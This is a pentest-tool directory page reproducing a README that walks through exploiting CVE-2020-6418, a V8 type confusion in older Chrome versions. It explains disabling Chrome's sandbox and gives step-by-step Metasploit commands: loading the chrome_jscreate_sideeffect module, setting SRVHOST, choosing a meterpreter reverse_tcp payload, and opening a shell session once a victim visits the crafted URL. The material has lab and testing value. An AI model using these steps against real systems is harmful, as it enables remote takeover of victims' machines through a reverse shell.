Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-6418 — Exploit for CVE-2020-6418, a type confusion in V8, allowing remote code execution via crafted HTML page. Uses Metasploit to deliver a reverse shell payload. | Kitploit
Tools/GitHubGitHub/sivapriyaranganatha/cve-2020-6418
Exploit FrameworksPayload GenerationExploitationWeb Application ExploitationPenetration Testing
GitHubsivapriyaranganatha/cve-2020-6418

CVE-2020-6418

Exploit for CVE-2020-6418, a type confusion in V8, allowing remote code execution via crafted HTML page. Uses Metasploit to deliver a reverse shell payload.

View Repository
1134 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-6418

The CVE 2020-6418 is about the the type confusion in V8 in Google chrome.The affected versions were prior to 80.0.3987.122. The vulnerability is achived by remote attacker accessing the shell of a target device via a crafted HTML page.

Environment Requirements

  1. Google Chrome with version prior to 80.0.3987.122 .
root@kitploit:~
Note : The Google chrome browser should run with no sandbox for the exploit to be succesfull.
  1. Metasploit Framework
  2. OS : Any

Exploit Set Up

  1. Google Chrome Version v80.0.3987.87
    https://www.neowin.net/news/google-chrome-800398787-offline-installer/
  2. Windows v11
  3. Kali Linux v2021.1

Google Chrome Set-Up with no sandbox

i) Create a short-cut for Google chrome
ii) Click on the properities > go to option called "Target"
iii) At the end of EXE , give space and enter -no--sandbox
iv) Click Apply > Ok
v) Open new browser Google Chrome and you will find the pop-up stating the below.

root@kitploit:~
You are using an unsupported command-line flag: -no-sandbox. Stability ans security will suffer

Demonstration to Disable Sandbox

https://user-images.githubusercontent.com/49935118/159386732-dc812ab2-f22e-4eb4-9585-4783a55b6706.mp4

Using Metasploit

Since we are using Kali as an enviroment to carry out the exploit , metasploit comes as a built-in tool with the distro. But if you are using other distros we need to set up metaspolit before we begin the exploit.

Refer to the Metasploit installation for further understanding.

Performing the exploit

i) Starting metasploit framework

root@kitploit:~
> msfconsole

ii) Find the exploit

root@kitploit:~
> search chrome_js

iii) Use the available exploit from the above output

root@kitploit:~
> Use exploit/multi/browser/chrome_jscreate_sideeffect

iv) Provide SRVHOST IP address

root@kitploit:~
> set SRVHOST <ip address>

v) Provide Target Here we get two options

  1. Target 0 : For Windows
  2. Target 1 : For MAC
root@kitploit:~
> set Target " Number "

vi) Provide Payload

root@kitploit:~
> set PAYLOAD windows/x64/meterpreter/reverse_tcp

vii) To check the current settings and options enabled.

root@kitploit:~
> show options

viii) To run the exploit

root@kitploit:~
> run (or) > exploit

ix) You will be proivded with an URL , which should be copied on the browser for the session to get active.

x) Once the user accesses the URL , a session will be created. To check this

root@kitploit:~
> show sessions

xi) Using the session , we can check the user system info / enter the shell.

root@kitploit:~
> sessions <number>
> shell

Demonstration to exploit

https://user-images.githubusercontent.com/49935118/159605013-d6033f7f-8fcc-4617-8f8e-6b909a5aebe6.mp4

Download Tool